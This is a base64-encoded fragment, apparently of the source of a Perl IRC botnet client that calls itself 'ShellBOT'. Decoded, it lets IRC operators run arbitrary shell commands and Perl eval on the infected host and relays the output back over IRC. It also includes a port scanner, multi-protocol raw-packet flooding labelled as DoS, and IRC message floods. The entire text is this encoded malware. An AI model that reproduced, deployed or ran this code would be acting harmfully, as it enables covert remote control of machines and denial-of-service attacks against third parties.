ldGUoXCRpcmNfc2VydmVyc3snJ30pIGlmIChkZWZpbmVkKFwkaXJjX3NlcnZlcnN7Jyd9KSk7DQogICAmR ENDOjpjb25uZWN0aW9uczsNCiAgIG15IEByZWFkeSA9IFwkc2VsX2NsaWVudGUtPmNhbl9yZWFkKDApOw0 KICAgbmV4dCB1bmxlc3MoQHJlYWR5KTsNCiAgIGZvcmVhY2ggXCRmaCAoQHJlYWR5KSB7DQogICAgIFwkS VJDX2N1cl9zb2NrZXQgPSBcJGZoOw0KICAgICBcJG1ldW5pY2sgPSBcJGlyY19zZXJ2ZXJze1wkSVJDX2N 1cl9zb2NrZXR9eyduaWNrJ307DQogICAgIFwkbnJlYWQgPSBzeXNyZWFkKFwkZmgsIFwkbXNnLCA0MDk2K TsNCiAgICAgaWYgKFwkbnJlYWQgPT0gMCkgew0KICAgICAgICBcJHNlbF9jbGllbnRlLT5yZW1vdmUoXCR maCk7DQogICAgICAgIFwkZmgtPmNsb3NlOw0KICAgICAgICBkZWxldGUoXCRpcmNfc2VydmVyc3tcJGZof Sk7DQogICAgIH0NCiAgICAgQGxpbmVzID0gc3BsaXQgKC9cXG4vLCBcJG1zZyk7DQoNCiAgICAgZm9yKG1 5IFwkYz0wOyBcJGM8PSAkI2xpbmVzOyBcJGMrKykgew0KICAgICAgIFwkbGluZSA9IFwkbGluZXNbXCRjX TsNCiAgICAgICBcJGxpbmU9XCRsaW5lX3RlbXAuXCRsaW5lIGlmIChcJGxpbmVfdGVtcCk7DQogICAgICA gXCRsaW5lX3RlbXA9Jyc7DQogICAgICAgXCRsaW5lID1+IHMvXFxyJC8vOw0KICAgICAgIHVubGVzcyAoX CRjID09ICQjbGluZXMpIHsNCiAgICAgICAgIHBhcnNlKFwiXCRsaW5lXCIpOw0KICAgICAgIH0gZWxzZSB 7DQogICAgICAgICAgIGlmICgkI2xpbmVzID09IDApIHsNCiAgICAgICAgICAgICBwYXJzZShcIlwkbGluZ VwiKTsNCiAgICAgICAgICAgfSBlbHNpZiAoXCRsaW5lc1tcJGNdID1+IC9cXHIkLykgew0KICAgICAgICA gICAgICAgcGFyc2UoXCJcJGxpbmVcIik7DQogICAgICAgICAgIH0gZWxzaWYgKFwkbGluZSA9fiAvXihcU yspIE5PVElDRSBBVVRIIDpcKlwqXCovKSB7DQogICAgICAgICAgICAgICBwYXJzZShcIlwkbGluZVwiKTs NCiAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgIFwkbGluZV90ZW1wID0gXCRsaW5lOw0KI CAgICAgICAgICB9DQogICAgICAgfQ0KICAgICAgfQ0KICAgfQ0KfQ0KDQojIyMjIyMjIyMjIyMjIyMjIyM jIyMjIyMjDQoNCg0Kc3ViIHBhcnNlIHsNCiAgIG15IFwkc2VydmFyZyA9IHNoaWZ0Ow0KICAgaWYgKFwkc 2VydmFyZyA9fiAvXlBJTkcgXDooLiopLykgew0KICAgICBzZW5kcmF3KFwiUE9ORyA6JDFcIik7DQogICB 9IGVsc2lmIChcJHNlcnZhcmcgPX4gL15cOiguKz8pXCEoLis/KVxAKC4rPykgUFJJVk1TRyAoLis/KSBcO iguKykvKSB7DQogICAgICAgbXkgXCRwbj0kMTsgbXkgXCRvbmRlID0gJDQ7IG15IFwkYXJncyA9ICQ1Ow0 KICAgICAgIGlmIChcJGFyZ3MgPX4gL15cXDAwMVZFUlNJT05cXDAwMSQvKSB7DQogICAgICAgICBub3RpY
2UoXCJcJHBuXCIsIFwiXFwwMDFWRVJTSU9OIFNoZWxsQk9ULVwkVkVSU0FPIHBvciAwbGRXMGxmXFwwMDF cIik7DQogICAgICAgfQ0KICAgICAgIGlmIChncmVwIHtcJF8gPX4gL15cUVwkcG5cRSQvaSB9IEBhZG1zK SB7DQogICAgICAgICBpZiAoXCRvbmRlIGVxIFwiXCRtZXVuaWNrXCIpew0KICAgICAgICAgICBzaGVsbCh cIlwkcG5cIiwgXCJcJGFyZ3NcIik7DQogICAgICAgICB9DQogICAgICAgICBpZiAoXCRhcmdzID1+IC9eK FxRXCRtZXVuaWNrXEV8XCFhdHJpeClccysoLiopLyApIHsNCiAgICAgICAgICAgIG15IFwkbmF0cml4ID0 gJDE7DQogICAgICAgICAgICBteSBcJGFyZyA9ICQyOw0KICAgICAgICAgICAgaWYgKFwkYXJnID1+IC9eX CEoLiopLykgew0KICAgICAgICAgICAgICBpcmNhc2UoXCJcJHBuXCIsXCJcJG9uZGVcIixcIlwkMVwiKSB 1bmxlc3MgKFwkbmF0cml4IGVxIFwiIWF0cml4XCIgYW5kIFwkYXJnID1+IC9eXCFuaWNrLyk7DQogICAgI CAgICAgICB9IGVsc2lmIChcJGFyZyA9fiAvXlxAKC4qKS8pIHsNCiAgICAgICAgICAgICAgICBcJG9uZGV wID0gXCRvbmRlOw0KICAgICAgICAgICAgICAgIFwkb25kZXAgPSBcJHBuIGlmIFwkb25kZSBlcSBcJG1ld W5pY2s7DQogICAgICAgICAgICAgICAgYmZ1bmMoXCJcJG9uZGVwXCIsXCIkMVwiKTsNCiAgICAgICAgICA gIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgc2hlbGwoXCJcJG9uZGVcIiwgXCJcJGFyZ1wiKTsNCiAgI CAgICAgICAgIH0NCiAgICAgICAgIH0NCiAgICAgICB9DQogICB9IGVsc2lmIChcJHNlcnZhcmcgPX4gL15 cOiguKz8pXCEoLis/KVxAKC4rPylccytOSUNLXHMrXDooXFMrKS9pKSB7DQogICAgICAgaWYgKGxjKCQxK SBlcSBsYyhcJG1ldW5pY2spKSB7DQogICAgICAgICBcJG1ldW5pY2s9JDQ7DQogICAgICAgICBcJGlyY19 zZXJ2ZXJze1wkSVJDX2N1cl9zb2NrZXR9eyduaWNrJ30gPSBcJG1ldW5pY2s7DQogICAgICAgfQ0KICAgf SBlbHNpZiAoXCRzZXJ2YXJnID1+IG0vXlw6KC4rPylccys0MzMvaSkgew0KICAgICAgIG5pY2soXCJcJG1 ldW5pY2tcIi5pbnQgcmFuZCg5OTk5KSk7DQogICB9IGVsc2lmIChcJHNlcnZhcmcgPX4gbS9eXDooLis/K VxzKzAwMVxzKyhcUyspXHMvaSkgew0KICAgICAgIFwkbWV1bmljayA9ICQyOw0KICAgICAgIFwkaXJjX3N lcnZlcnN7XCRJUkNfY3VyX3NvY2tldH17J25pY2snfSA9IFwkbWV1bmljazsNCiAgICAgICBcJGlyY19zZ XJ2ZXJze1wkSVJDX2N1cl9zb2NrZXR9eydub21lJ30gPSBcIiQxXCI7DQogICAgICAgZm9yZWFjaCBteSB cJGNhbmFsIChAY2FuYWlzKSB7DQogICAgICAgICBzZW5kcmF3KFwiSk9JTiBcJGNhbmFsXCIpOw0KICAgI CAgIH0NCiAgIH0NCn0NCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQoNCnN1YiBiZnVuYyB7DQogIG1 5IFwkcHJpbnRsID0gXCRfWzBdOw0KICBteSBcJGZ1bmNhcmcgPSBcJF9bMV07DQogIGlmIChteSBcJHBpZ CA9IGZvcmspIHsNCiAgICAgd2FpdHBpZChcJHBpZCwgMCk7DQogIH0gZWxzZSB7DQogICAgICBpZiAoZm9 yaykgew0KICAgICAgICAgZXhpdDsNCiAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICBpZiAoXCRmdW5jY XJnID1+IC9ecG9ydHNjYW4gKC4qKS8pIHsNCiAgICAgICAgICAgICBteSBcJGhvc3RpcD1cIiQxXCI7DQo gICAgICAgICAgICAgbXkgQHBvcnRhcz0oXCIyMVwiLFwiMjJcIixcIjIzXCIsXCIyNVwiLFwiNTNcIixcI jgwXCIsXCIxMTBcIixcIjE0M1wiKTsNCiAgICAgICAgICAgICBteSAoQGFiZXJ0YSwgJXBvcnRhX2Jhbm5 lcik7DQogICAgICAgICAgICAgZm9yZWFjaCBteSBcJHBvcnRhIChAcG9ydGFzKSB7DQogICAgICAgICAgI CAgICAgbXkgXCRzY2Fuc29jayA9IElPOjpTb2NrZXQ6OklORVQtPm5ldyhQZWVyQWRkciA9PiBcJGhvc3R pcCwgUGVlclBvcnQgPT4gXCRwb3J0YSwgUHJvdG8gPT4gJ3RjcCcsIFRpbWVvdXQgPT4gNCk7DQogICAgI CAgICAgICAgICAgaWYgKFwkc2NhbnNvY2spIHsNCiAgICAgICAgICAgICAgICAgICBwdXNoIChAYWJlcnR hLCBcJHBvcnRhKTsNCiAgICAgICAgICAgICAgICAgICBcJHNjYW5zb2NrLT5jbG9zZTsNCiAgICAgICAgI CAgICAgICB9DQogICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgaWYgKEBhYmVydGEpIHsNCiAgICA gICAgICAgICAgIHNlbmRyYXcoXCRJUkNfY3VyX3NvY2tldCwgXCJQUklWTVNHIFwkcHJpbnRsIDpwb3J0Y XMgYWJlcnRhczogQGFiZXJ0YVwiKTsNCiAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICA gICBzZW5kcmF3KFwkSVJDX2N1cl9zb2NrZXQsXCJQUklWTVNHIFwkcHJpbnRsIDpOZW5odW1hIHBvcnRhI GFiZXJ0YSBmb2kgZW5jb250cmFkYVwiKTsNCiAgICAgICAgICAgICB9DQogICAgICAgICAgIH0NCiAgICA gICAgICAgaWYgKFwkZnVuY2FyZyA9fiAvXnBhY290YVxzKyguKilccysoXGQrKVxzKyhcZCspLykgew0KI CAgICAgICAgICAgIG15IChcJGR0aW1lLCAlcGFjb3RlcykgPSBhdHRhY2tlcihcIiQxXCIsIFwiJDJcIiw gXCIkM1wiKTsNCiAgICAgICAgICAgICBcJGR0aW1lID0gMSBpZiBcJGR0aW1lID09IDA7DQogICAgICAgI CAgICAgbXkgJWJ5dGVzOw0KICAgICAgICAgICAgIFwkYnl0ZXN7aWdtcH0gPSAkMiAqIFwkcGFjb3Rlc3t pZ21wfTsNCiAgICAgICAgICAgICBcJGJ5dGVze2ljbXB9ID0gJDIgKiBcJHBhY290ZXN7aWNtcH07DQogI CAgICAgICAgICAgXCRieXRlc3tvfSA9ICQyICogXCRwYWNvdGVze299Ow0KICAgICAgICAgICAgIFwkYnl 0ZXN7dWRwfSA9ICQyICogXCRwYWNvdGVze3VkcH07DQogICAgICAgICAgICAgXCRieXRlc3t0Y3B9ID0gJ DIgKiBcJHBhY290ZXN7dGNwfTsNCg0KICAgICAgICAgICAgIHNlbmRyYXcoXCRJUkNfY3VyX3NvY2tldCw gXCJQUklWTVNHIFwkcHJpbnRsIDpcXDAwMiAtIFN0YXR1cyBHRVJBTCAtXFwwMDJcIik7DQogICAgICAgI CAgICAgc2VuZHJhdyhcJElSQ19jdXJfc29ja2V0LCBcIlBSSVZNU0cgXCRwcmludGwgOlxcMDAyVGVtcG9 cXDAwMjogXCRkdGltZVwiLlwic1wiKTsNCiAgICAgICAgICAgICBzZW5kcmF3KFwkSVJDX2N1cl9zb2NrZ XQsIFwiUFJJVk1TRyBcJHByaW50bCA6XFwwMDJUb3RhbCBwYWNvdGVzXFwwMDI6IFwiLihcJHBhY2 90ZXN7dWRwfSArIFwkcGFjb3Rlc3tpZ21wfSArIFwkcGFjb3Rlc3tpY21wfSArIFwkcGFjb3Rlc3tvfSkp Ow0KICAgICAgICAgICAgIHNlbmRyYXcoXCRJUkNfY3VyX3NvY2tldCwgXCJQUklWTVNHIFwkcHJpbnRsID pcXDAwMlRvdGFsIGJ5dGVzXFwwMDI6IFwiLihcJGJ5dGVze2ljbXB9ICsgXCRieXRlcyB7aWdtcH0gKyBc JGJ5dGVze3VkcH0gKyBcJGJ5dGVze299KSk7DQogICAgICAgICAgICAgc2VuZHJhdyhcJElSQ19jdXJfc2 9ja2V0LCBcIlBSSVZNU0cgXCRwcmludGwgOlxcMDAyTelkaWEgZGUgZW52aW9cXDAwMjogXCIuaW50KCgo XCRieXRlc3tpY21wfStcJGJ5dGVze2lnbXB9K1wkYnl0ZXN7dWRwfSArIFwkYnl0ZXN7b30pLzEwMjQpL1 wkZHRpbWUpLlwiIGticHNcIik7DQoNCiAgICAgICAgICAgfQ0KICAgICAgICAgICBleGl0Ow0KICAgICAg
IH0NCiAgfQ0KfQ0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCg0KDQpzdWIgaXJjYXNlIHsNCiAgbX kgKFwka2VtLCBcJHByaW50bCwgXCRjYXNlKSA9IEBfOw0KDQoNCiAgaWYgKFwkY2FzZSA9fiAvXmpvaW4g KC4qKS8pIHsNCiAgICAgaihcIiQxXCIpOw0KICAgfQ0KICAgaWYgKFwkY2FzZSA9fiAvXnBhcnQgKC4qKS 8pIHsNCiAgICAgIHAoXCIkMVwiKTsNCiAgIH0NCiAgIGlmIChcJGNhc2UgPX4gL15yZWpvaW5ccysoLiop Lykgew0KICAgICAgbXkgXCRjaGFuID0gJDE7DQogICAgICBpZiAoXCRjaGFuID1+IC9eKFxkKykgKC4qKS 8pIHsNCiAgICAgICAgZm9yIChteSBcJGNhID0gMTsgXCRjYSA8PSAkMTsgXCRjYSsrICkgew0KICAgICAg ICAgIHAoXCIkMlwiKTsNCiAgICAgICAgICBqKFwiJDJcIik7DQogICAgICAgIH0NCiAgICAgIH0gZWxzZS B7DQogICAgICAgICAgcChcIlwkY2hhblwiKTsNCiAgICAgICAgICBqKFwiXCRjaGFuXCIpOw0KICAgICAg fQ0KICAgfQ0KICAgaWYgKFwkY2FzZSA9fiAvXm9wLykgew0KICAgICAgb3AoXCJcJHByaW50bFwiLCBcIl wka2VtXCIpIGlmIFwkY2FzZSBlcSBcIm9wXCI7DQogICAgICBteSBcJG9hcmcgPSBzdWJzdHIoXCRjYXNl LCAzKTsNCiAgICAgIG9wKFwiJDFcIiwgXCIkMlwiKSBpZiAoXCRvYXJnID1+IC8oXFMrKVxzKyhcUyspLy k7DQogICB9DQogICBpZiAoXCRjYXNlID1+IC9eZGVvcC8pIHsNCiAgICAgIGRlb3AoXCJcJHByaW50bFwi LCBcIlwka2VtXCIpIGlmIFwkY2FzZSBlcSBcImRlb3BcIjsNCiAgICAgIG15IFwkb2FyZyA9IHN1YnN0ci hcJGNhc2UsIDUpOw0KICAgICAgZGVvcChcIiQxXCIsIFwiJDJcIikgaWYgKFwkb2FyZyA9fiAvKFxTKylc cysoXFMrKS8pOw0KICAgfQ0KICAgaWYgKFwkY2FzZSA9fiAvXnZvaWNlLykgew0KICAgICAgdm9pY2UoXC JcJHByaW50bFwiLCBcIlwka2VtXCIpIGlmIFwkY2FzZSBlcSBcInZvaWNlXCI7DQogICAgICBcJG9hcmcg PSBzdWJzdHIoXCRjYXNlLCA2KTsNCiAgICAgIHZvaWNlKFwiJDFcIiwgXCIkMlwiKSBpZiAoXCRvYXJnID 1+IC8oXFMrKVxzKyhcUyspLyk7DQogICB9DQogICBpZiAoXCRjYXNlID1+IC9eZGV2b2ljZS8pIHsNCiAg ICAgIGRldm9pY2UoXCJcJHByaW50bFwiLCBcIlwka2VtXCIpIGlmIFwkY2FzZSBlcSBcImRldm9pY2VcIj sNCiAgICAgIFwkb2FyZyA9IHN1YnN0cihcJGNhc2UsIDgpOw0KICAgICAgZGV2b2ljZShcIiQxXCIsIFwi JDJcIikgaWYgKFwkb2FyZyA9fiAvKFxTKylccysoXFMrKS8pOw0KICAgfQ0KICAgaWYgKFwkY2FzZSA9fi AvXm1zZ1xzKyhcUyspICguKikvKSB7DQogICAgICBtc2coXCIkMVwiLCBcIiQyXCIpOw0KICAgfQ0KICAg aWYgKFwkY2FzZSA9fiAvXmZsb29kXHMrKFxkKylccysoXFMrKSAoLiopLykgew0KICAgICAgZm9yIChteS BcJGNmID0gMTsgXCRjZiA8PSAkMTsgXCRjZisrKSB7DQogICAgICAgIG1zZyhcIiQyXCIsIFwiJDNcIik7 DQogICAgICB9DQogICB9DQogICBpZiAoXCRjYXNlID1+IC9eY3RjcFxzKyhcUyspICguKikvKSB7DQogIC AgICBjdGNwKFwiJDFcIiwgXCIkMlwiKTsNCiAgIH0NCiAgIGlmIChcJGNhc2UgPX4gL15jdGNwZmxvb2Rc cysoXGQrKVxzKyhcUyspICguKikvKSB7DQogICAgICBmb3IgKG15IFwkY2YgPSAxOyBcJGNmIDw9ICQxOy BcJGNmKyspIHsNCiAgICAgICAgY3RjcChcIiQyXCIsIFwiJDNcIik7DQogICAgICB9DQogICB9DQogICBp ZiAoXCRjYXNlID1+IC9eaW52aXRlXHMrKFxTKykgKC4qKS8pIHsNCiAgICAgIGludml0ZShcIiQxXCIsIF wiJDJcIik7DQogICB9DQogICBpZiAoXCRjYXNlID1+IC9ebmljayAoLiopLykgew0KICAgICAgbmljayhc IiQxXCIpOw0KICAgfQ0KICAgaWYgKFwkY2FzZSA9fiAvXmNvbmVjdGFccysoXFMrKVxzKyhcUyspLykgew 0KICAgICAgIGNvbmVjdGFyKFwiJDJcIiwgXCIkMVwiLCA2NjY3KTsNCiAgIH0NCiAgIGlmIChcJGNhc2Ug PX4gL15zZW5kXHMrKFxTKylccysoXFMrKS8pIHsNCiAgICAgIERDQzo6U0VORChcIiQxXCIsIFwiJDJcIi k7DQogICB9DQogICBpZiAoXCRjYXNlID1+IC9ecmF3ICguKikvKSB7DQogICAgICBzZW5kcmF3KFwiJDFc Iik7DQogICB9DQogICBpZiAoXCRjYXNlID1+IC9eZXZhbCAoLiopLykgew0KICAgICBldmFsIFwiJDFcIj sNCiAgIH0NCn0NCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQoNCnN1YiBzaGVsbCB7DQogIHJldHVy biB1bmxlc3MgXCRzZWN2Ow0KICBteSBcJHByaW50bD1cJF9bMF07DQogIG15IFwkY29tYW5kbz1cJF9bMV 07DQogIGlmIChcJGNvbWFuZG8gPX4gL2NkICguKikvKSB7DQogICAgY2hkaXIoXCIkMVwiKSB8fCBtc2co XCJcJHByaW50bFwiLCBcIkRvc3NpZXIgTWFrYXllbmNoIDpEIFwiKTsNCiAgICByZXR1cm47DQogIH0NCi AgZWxzaWYgKFwkcGlkID0gZm9yaykgew0KICAgICB3YWl0cGlkKFwkcGlkLCAwKTsNCiAgfSBlbHNlIHsN CiAgICAgIGlmIChmb3JrKSB7DQogICAgICAgICBleGl0Ow0KICAgICAgIH0gZWxzZSB7DQogICAgICAgIC AgIG15IEByZXNwPWBcJGNvbWFuZG8gMj4mMSAzPiYxYDsNCiAgICAgICAgICAgbXkgXCRjPTA7DQogICAg ICAgICAgIGZvcmVhY2ggbXkgXCRsaW5oYSAoQHJlc3ApIHsNCiAgICAgICAgICAgICBcJGMrKzsNCiAgIC AgICAgICAgICBjaG9wIFwkbGluaGE7DQogICAgICAgICAgICAgc2VuZHJhdyhcJElSQ19jdXJfc29ja2V0 LCBcIlBSSVZNU0cgXCRwcmludGwgOlwkbGluaGFcIik7DQogICAgICAgICAgICAgaWYgKFwkYyA9PSBcIl wkbGluYXNfbWF4XCIpIHsNCiAgICAgICAgICAgICAgIFwkYz0wOw0KICAgICAgICAgICAgICAgc2xlZXAg XCRzbGVlcDsNCiAgICAgICAgICAgICB9DQogICAgICAgICAgIH0NCiAgICAgICAgICAgZXhpdDsNCiAgIC AgICB9DQogIH0NCn0NCg0KI2V1IGZpeiB1bSBwYWNvdGFkb3J6aW5odSBlIHRhbHouLiBkYWkgY29sb2tl bW8gZWxlIGFraQ0Kc3ViIGF0dGFja2VyIHsNCiAgbXkgXCRpYWRkciA9IGluZXRfYXRvbihcJF9bMF0pOw 0KICBteSBcJG1zZyA9ICdCJyB4IFwkX1sxXTsNCiAgbXkgXCRmdGltZSA9IFwkX1syXTsNCiAgbXkgXCRj cCA9IDA7DQogIG15ICglcGFjb3Rlcyk7DQogIFwkcGFjb3Rlc3tpY21wfSA9IFwkcGFjb3Rlc3tpZ21wfS A9IFwkcGFjb3Rlc3t1ZHB9ID0gXCRwYWNvdGVze299ID0gXCRwYWNvdGVze3RjcH0gPSAwOw0KDQogIHNv Y2tldChTT0NLMSwgUEZfSU5FVCwgU09DS19SQVcsIDIpIG9yIFwkY3ArKzsNCiAgc29ja2V0KFNPQ0syLC BQRl9JTkVULCBTT0NLX0RHUkFNLCAxNykgb3IgXCRjcCsrOw0KICBzb2NrZXQoU09DSzMsIFBGX0lORVQs IFNPQ0tfUkFXLCAxKSBvciBcJGNwKys7DQogIHNvY2tldChTT0NLNCwgUEZfSU5FVCwgU09DS19SQVcsID YpIG9yIFwkY3ArKzsNCiAgcmV0dXJuKHVuZGVmKSBpZiBcJGNwID09IDQ7DQogIG15IFwkaXRpbWUgPSB0 aW1lOw0KICBteSAoXCRjdXJfdGltZSk7DQogIHdoaWxlICggMSApIHsNCiAgICAgZm9yIChteSBcJHBvcn RhID0gMTsgXCRwb3J0YSA8PSA2NTUzNTsgXCRwb3J0YSsrKSB7DQogICAgICAgXCRjdXJfdGltZSA9IHRp
bWUgLSBcJGl0aW1lOw0KICAgICAgIGxhc3QgaWYgXCRjdXJfdGltZSA+PSBcJGZ0aW1lOw0KICAgICAgIH NlbmQoU09DSzEsIFwkbXNnLCAwLCBzb2NrYWRkcl9pbihcJHBvcnRhLCBcJGlhZGRyKSkgYW5kIFwkcGFj b3Rlc3tpZ21wfSsrOw0KICAgICAgIHNlbmQoU09DSzIsIFwkbXNnLCAwLCBzb2NrYWRkcl9pbihcJHBvcn RhLCBcJGlhZGRyKSkgYW5kIFwkcGFjb3Rlc3t1ZHB9Kys7DQogICAgICAgc2VuZChTT0NLMywgXCRtc2cs IDAsIHNvY2thZGRyX2luKFwkcG9ydGEsIFwkaWFkZHIpKSBhbmQgXCRwYWNvdGVze2ljbXB9Kys7DQogIC AgICAgc2VuZChTT0NLNCwgXCRtc2csIDAsIHNvY2thZGRyX2luKFwkcG9ydGEsIFwkaWFkZHIpKSBhbmQg XCRwYWNvdGVze3RjcH0rKzsNCg0KICAgICAgICMgRG9TID8/IDpQDQogICAgICAgZm9yIChteSBcJHBjID 0gMzsgXCRwYyA8PSAyNTU7XCRwYysrKSB7DQogICAgICAgICBuZXh0IGlmIFwkcGMgPT0gNjsNCiAgICAg ICAgIFwkY3VyX3RpbWUgPSB0aW1lIC0gXCRpdGltZTsNCiAgICAgICAgIGxhc3QgaWYgXCRjdXJfdGltZS A+PSBcJGZ0aW1lOw0KICAgICAgICAgc29ja2V0KFNPQ0s1LCBQRl9JTkVULCBTT0NLX1JBVywgXCRwYykg b3IgbmV4dDsNCiAgICAgICAgIHNlbmQoU09DSzUsIFwkbXNnLCAwLCBzb2NrYWRkcl9pbihcJHBvcnRhLC BcJGlhZGRyKSkgYW5kIFwkcGFjb3Rlc3tvfSsrOzsNCiAgICAgICB9DQogICAgIH0NCiAgICAgbGFzdCBp ZiBcJGN1cl90aW1lID49IFwkZnRpbWU7DQogIH0NCiAgcmV0dXJuKFwkY3VyX3RpbWUsICVwYWNvdGVzKT sNCn0NCg0KIyMjIyMjIyMjIyMjIw0KIyBBTElBU0VTICMNCiMjIyMjIyMjIyMjIyMNCg0Kc3ViIGFjdGlv biB7DQogICByZXR1cm4gdW5sZXNzICQjXyA9PSAxOw0KICAgc2VuZHJhdyhcIlBSSVZNU0cgXCRfWzBdID pcXDAwMUFDVElPTiBcJF9bMV1cXDAwMVwiKTsNCn0NCg0Kc3ViIGN0Y3Agew0KICAgcmV0dXJuIHVubGVz cyAkI18gPT0gMTsNCiAgIHNlbmRyYXcoXCJQUklWTVNHIFwkX1swXSA6XFwwMDFcJF9bMV1cXDAwMVwiKT sNCn0NCnN1YiBtc2cgew0KICAgcmV0dXJuIHVubGVzcyAkI18gPT0gMTsNCiAgIHNlbmRyYXcoXCJQUklW TVNHIFwkX1swXSA6XCRfWzFdXCIpOw0KfQ0KDQpzdWIgbm90aWNlIHsNCiAgIHJldHVybiB1bmxlc3MgJC NfID09IDE7DQogICBzZW5kcmF3KFwiTk9USUNFIFwkX1swXSA6XCRfWzFdXCIpOw0KfQ0KDQpzdWIgb3Ag ew0KICAgcmV0dXJuIHVubGVzcyAkI18gPT0gMTsNCiAgIHNlbmRyYXcoXCJNT0RFIFwkX1swXSArbyBcJF 9bMV1cIik7DQp9DQpzdWIgZGVvcCB7DQogICByZXR1cm4gdW5sZXNzICQjXyA9PSAxOw0KICAgc2VuZHJh dyhcIk1PREUgXCRfWzBdIC1vIFwkX1sxXVwiKTsNCn0NCnN1YiBob3Agew0KICAgIHJldHVybiB1bmxlc3 MgJCNfID09IDE7DQogICBzZW5kcmF3KFwiTU9ERSBcJF9bMF0gK2ggXCRfWzFdXCIpOw0KfQ0Kc3ViIGRl aG9wIHsNCiAgIHJldHVybiB1bmxlc3MgJCNfID09IDE7DQogICBzZW5kcmF3KFwiTU9ERSBcJF9bMF0gK2 ggXCRfWzFdXCIpOw0KfQ0Kc3ViIHZvaWNlIHsNCiAgIHJldHVybiB1bmxlc3MgJCNfID09IDE7DQogICBz ZW5kcmF3KFwiTU9ERSBcJF9bMF0gK3YgXCRfWzFdXCIpOw0KfQ0Kc3ViIGRldm9pY2Ugew0KICAgcmV0dX JuIHVubGVzcyAkI18gPT0gMTsNCiAgIHNlbmRyYXcoXCJNT0RFIFwkX1swXSAtdiBcJF9bMV1cIik7DQp9 DQpzdWIgYmFuIHsNCiAgIHJldHVybiB1bmxlc3MgJCNfID09IDE7DQogICBzZW5kcmF3KFwiTU9ERSBcJF 9bMF0gK2IgXCRfWzFdXCIpOw0KfQ0Kc3ViIHVuYmFuIHsNCiAgIHJldHVybiB1bmxlc3MgJCNfID09IDE7 DQogICBzZW5kcmF3KFwiTU9ERSBcJF9bMF0gLWIgXCRfWzFdXCIpOw0KfQ0Kc3ViIGtpY2sgew0KICAgcm V0dXJuIHVubGVzcyAkI18gPT0gMTsNCiAgIHNlbmRyYXcoXCJLSUNLIFwkX1swXSBcJF9bMV0gOlwkX1sy XVwiKTsNCn0NCg0Kc3ViIG1vZG8gew0KICAgcmV0dXJuIHVubGVzcyAkI18gPT0gMDsNCiAgIHNlbmRyYX coXCJNT0RFIFwkX1swXSBcJF9bMV1cIik7DQp9DQpzdWIgbW9kZSB7IG1vZG8oQF8pOyB9DQoNCnN1YiBq IHsgJmpvaW4oQF8pOyB9DQpzdWIgam9pbiB7DQogICByZXR1cm4gdW5sZXNzICQjXyA9PSAwOw0KICAgc2 VuZHJhdyhcIkpPSU4gXCRfWzBdXCIpOw0KfQ0Kc3ViIHAgeyBwYXJ0KEBfKTsgfQ0Kc3ViIHBhcnQge3Nl bmRyYXcoXCJQQVJUIFwkX1swXVwiKTt9DQoNCnN1YiBuaWNrIHsNCiAgcmV0dXJuIHVubGVzcyAkI18gPT 0gMDsNCiAgc2VuZHJhdyhcIk5JQ0sgXCRfWzBdXCIpOw0KfQ0KDQpzdWIgaW52aXRlIHsNCiAgIHJldHVy biB1bmxlc3MgJCNfID09IDE7DQogICBzZW5kcmF3KFwiSU5WSVRFIFwkX1sxXSBcJF9bMF1cIik7DQp9DQ pzdWIgdG9waWNvIHsNCiAgIHJldHVybiB1bmxlc3MgJCNfID09IDE7DQogICBzZW5kcmF3KFwiVE9QSUMg XCRfWzBdIFwkX1sxXVwiKTsNCn0NCnN1YiB0b3BpYyB7IHRvcGljbyhAXyk7IH0NCg0Kc3ViIHdob2lzIH sNCiAgcmV0dXJuIHVubGVzcyAkI18gPT0gMDsNCiAgc2VuZHJhdyhcIldIT0lTIFwkX1swXVwiKTsNCn0N CnN1YiB3aG8gew0KICByZXR1cm4gdW5sZXNzICQjXyA9PSAwOw0KICBzZW5kcmF3KFwiV0hPIFwkX1swXV wiKTsNCn0NCnN1YiBuYW1lcyB7DQogIHJldHVybiB1bmxlc3MgJCNfID09IDA7DQogIHNlbmRyYXcoXCJO QU1FUyBcJF9bMF1cIik7DQp9DQpzdWIgYXdheSB7DQogIHNlbmRyYXcoXCJBV0FZIFwkX1swXVwiKTsNCn 0NCnN1YiBiYWNrIHsgYXdheSgpOyB9DQpzdWIgcXVpdCB7DQogIHNlbmRyYXcoXCJRVUlUIDpcJF9bMF1c Iik7DQp9DQoNCiMgRENDDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQoNCnBhY2thZ2UgRENDOw0KDQ pzdWIgY29ubmVjdGlvbnMgew0KICAgbXkgQHJlYWR5ID0gXCRkY2Nfc2VsLT5jYW5fcmVhZCgxKTsNCiMg cmV0dXJuIHVubGVzcyAoQHJlYWR5KTsNCiAgIGZvcmVhY2ggbXkgXCRmaCAoQHJlYWR5KSB7DQogICAgIG 15IFwkZGNjdGlwbyA9IFwkRENDe1wkZmh9e3RpcG99Ow0KICAgICBteSBcJGFycXVpdm8gPSBcJERDQ3tc JGZofXthcnF1aXZvfTsNCiAgICAgbXkgXCRieXRlcyA9IFwkRENDe1wkZmh9e2J5dGVzfTsNCiAgICAgbX kgXCRjdXJfYnl0ZSA9IFwkRENDe1wkZmh9e2N1cmJ5dGV9Ow0KICAgICBteSBcJG5pY2sgPSBcJERDQ3tc JGZofXtuaWNrfTsNCg0KDQogICAgIG15IFwkbXNnOw0KICAgICBteSBcJG5yZWFkID0gc3lzcmVhZChcJG ZoLCBcJG1zZywgMTAyNDApOw0KDQogICAgIGlmIChcJG5yZWFkID09IDAgYW5kIFwkZGNjdGlwbyA9fiAv XihnZXR8c2VuZGNvbikkLykgew0KICAgICAgICBcJERDQ3tcJGZofXtzdGF0dXN9ID0gXCJDYW5jZWxhZG 9cIjsNCiAgICAgICAgXCREQ0N7XCRmaH17ZnRpbWV9ID0gdGltZTsNCiAgICAgICAgXCRkY2Nfc2VsLT5y ZW1vdmUoXCRmaCk7DQogICAgICAgIFwkZmgtPmNsb3NlOw0KICAgICAgICBuZXh0Ow0KICAgICB9D 